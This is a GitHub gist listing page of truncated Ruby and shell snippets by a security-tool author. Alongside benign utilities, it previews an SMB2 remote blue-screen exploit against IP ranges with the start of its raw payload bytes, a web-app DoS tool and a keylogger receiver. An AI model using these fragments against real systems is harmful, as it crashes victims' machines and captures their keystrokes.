Skip to content

Instantly share code, notes, and snippets.

View postmodern's full-sized avatar
🚀
releasing new versions

Postmodern postmodern

🚀
releasing new versions
View GitHub Profile
@postmodern
postmodern / filter_proxies.rb
Created September 23, 2009 00:43
Filters an Array of proxies, and returns speed statistics.
#!/usr/bin/env ruby
require 'ronin/network/http'
require 'ronin/extensions/kernel'
require 'xmpp4r'
require 'xmpp4r/muc'
require 'uri'
require 'set'
@postmodern
postmodern / smb_spray.rb
Created September 8, 2009 21:44
Windows Vista/7 : SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D. now with IP ranges
#!/usr/bin/env ruby
require 'ronin/extensions/ip_addr'
require 'ronin/network/tcp'
payload = [
"\x00\x00\x00\x90", # Begin SMB header: Session message
"\xff\x53\x4d\x42", # Server Component: SMB
"\x72\x00\x00\x00", # Negociate Protocol
"\x00\x18\x53\xc8", # Operation 0x18 & sub 0xc853
#!/bin/sh
for project in extlib do dm-core dm-more; do
echo ">>> Checking out $project"
git clone git://github.com/datamapper/$project.git
cd $project/
git checkout -b next --track origin/next
cd ..
done
@postmodern
postmodern / bang_on.rb
Created June 20, 2009 22:52
A web-app profiling and DoS tool.
require 'spidr'
require 'curb'
module Ronin
module Web
#
# "Bang on the bars of the cage which imprisons you. Together, our
# actions can reduce the mightiest of prisons to ruins."
#
# --Anonymous
@postmodern
postmodern / dm_auto_migration_bug.rb
Created June 1, 2009 04:47
Recreation of a DataMapper STI/auto_upgrade bug
gem 'dm-core', '0.10.0'
require 'dm-core'
module ModelMixin
include DataMapper::Types
def self.included(base)
base.module_eval do
include DataMapper::Resource
include DataMapper::Migrations
@postmodern
postmodern / benchmark.rb
Created May 12, 2009 21:33
A simple example showing that it's not hard to write fuzzers in Ruby.
require 'benchmark'
require 'block_fuzzer'
fuzz = SophSec::BlockFuzzer.new('_' * 86, 'EVIL', 4)
puts Benchmark.measure { fuzz.each { |mutant| } }
@postmodern
postmodern / text_and_links.rb
Created May 3, 2009 22:23
Grabs all the text and <a> tags from a web-page
@postmodern
postmodern / spidr_words.rb
Created March 24, 2009 02:11
A small script which will spider a website and build a word-list
#!/usr/bin/env ruby
gem 'spidr'
require 'spidr'
require 'set'
unless ARGV.length == 2
STDERR.puts "usage: #{$0} HOST FILE"
exit -1
end
@postmodern
postmodern / middler_keylogger.rb
Created March 23, 2009 09:17
A Keylogger receiver for The Middler using Ronin::Web::Server or Sinatra
gem 'ronin-web'
require 'ronin/web/server'
require 'uri'
include Ronin
Web::Server.start do
paths_like(/^\/(.|%[0-9a-fA-F]{1,2})$/) do |env|
char = URI.decode(env['PATH_INFO'][1..-1])
puts "got char: #{char.dump}"
@postmodern
postmodern / yosup.rb
Created February 23, 2009 01:08
A Yo-based communication system
module SophSec
module YoSup
WORDS = %w{dawg sup hi yo}
def YoSup.encode(message)
encoded = []
message = message.to_s
message.each_byte do |b|
encoded << WORDS[(b & 0x03)]